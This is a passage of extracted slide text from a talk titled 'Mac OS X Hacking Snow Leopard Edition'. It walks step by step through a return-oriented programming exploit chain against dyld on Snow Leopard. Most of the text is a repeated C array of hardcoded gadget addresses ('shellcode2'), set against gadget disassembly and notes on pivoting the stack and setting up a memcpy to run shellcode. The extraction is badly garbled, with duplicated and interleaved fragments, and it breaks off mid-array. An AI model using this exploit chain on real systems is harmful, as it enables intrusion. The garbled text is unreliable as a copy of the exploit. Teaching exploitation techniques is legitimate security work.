[rdi+0x78]0x00007fff5fc24cd80x00007fff5fc24cd8 mov rsp,QWORD PTR [rdi+0x38]0x00007fff5fc24cdcmov rsp,QWORD PTR [rdi+0x38]0x00007fff5fc24cdc pop pop rdi0x00007fff5fc24cddrdi0x00007fff5fc24cdd ret ret

copy rax to buf+38copy rax to buf+38

copy buf+80 to buf+4copy buf+80 to buf+4(future rip)(future rip)

Our pivot:Our pivot:copy &buf to rspcopy &buf to rsp

Page 49: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef000000070xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 , // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 , // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

&buf&buf

we want to “nop” down to where buf iswe want to “nop” down to where buf is

copied to buf[0]copied to buf[0]

Page 50: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdd0x00007fff5fc24cdd ret ret ROP NOPROP NOP

Page 51: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc233960x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 , // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef000000070xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 , // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

&buf&buf

Keep nopping, skip over where rip1 was storedKeep nopping, skip over where rip1 was stored

Page 52: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc233960x00007fff5fc23396 pop rbxpop rbx0x00007fff5fc233970x00007fff5fc23397 ret ret

Page 53: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 , // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef000000070xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 , // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

&buf&buf

Keep noppingKeep nopping

Page 54: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdc0x00007fff5fc24cdc pop rdi0x00007fff5fc24cddpop rdi0x00007fff5fc24cdd ret ret

Page 55: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc233960x00007fff5fc23396, // rip5 , // rip5 0xdeadbeef000000070xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 , // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

&buf&buf

pick up &bufpick up &buf

Page 56: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc233960x00007fff5fc23396 pop rbx0x00007fff5fc23397pop rbx0x00007fff5fc23397 ret ret All this work to doAll this work to do

mov rbx, raxmov rbx, rax

rbx now has our location in itrbx now has our location in it

Page 57: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd0x00007fff5fc24cdd, // rip6 , // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

we want to set up for a call to memcpywe want to set up for a call to memcpy

Page 58: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdd0x00007fff5fc24cdd ret ret

We’ll need values forWe’ll need values forrbp, rdi, and raxrbp, rdi, and rax

(we use a call to memcpy from (we use a call to memcpy from within a different function)within a different function)

for some alignment laterfor some alignment later

Page 59: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip70x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

set rbpset rbp

Page 60: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc100260x00007fff5fc10026 pop rbp0x00007fff5fc10027pop rbp0x00007fff5fc10027 add rsp,0x100x00007fff5fc1002badd rsp,0x100x00007fff5fc1002b jmp r11jmp r11

set rbp (our hardcoded RW set rbp (our hardcoded RW area)area)

rsp adjustedrsp adjustedr11 was set at the beginingr11 was set at the begining

Page 61: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200,0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

set rdiset rdi

Page 62: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdc0x00007fff5fc24cdc pop rdi0x00007fff5fc24cddpop rdi0x00007fff5fc24cdd ret ret rdi set to 0x00007fff5fc50001rdi set to 0x00007fff5fc50001

an unused RW area in dyld dataan unused RW area in dyld data

Page 63: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001,0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

nop over stuff used earliernop over stuff used earlier

Page 64: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdd0x00007fff5fc24cdd ret ret ROP NOPROP NOP

Page 65: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip100x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

nop over stuff used earliernop over stuff used earlier

Page 66: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24cdd0x00007fff5fc24cdd ret ret ROP NOPROP NOP

Page 67: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip110x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

rsprsp

set rax = rdi - 1set rax = rdi - 1

Page 68: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc1ddc00x00007fff5fc1ddc0 lea rax,[rdi-0x1]0x00007fff5fc1ddc4lea rax,[rdi-0x1]0x00007fff5fc1ddc4 ret ret rax points to RWrax points to RW

Page 69: Mac OS X Hacking Snow Leopard Edition

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip120x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 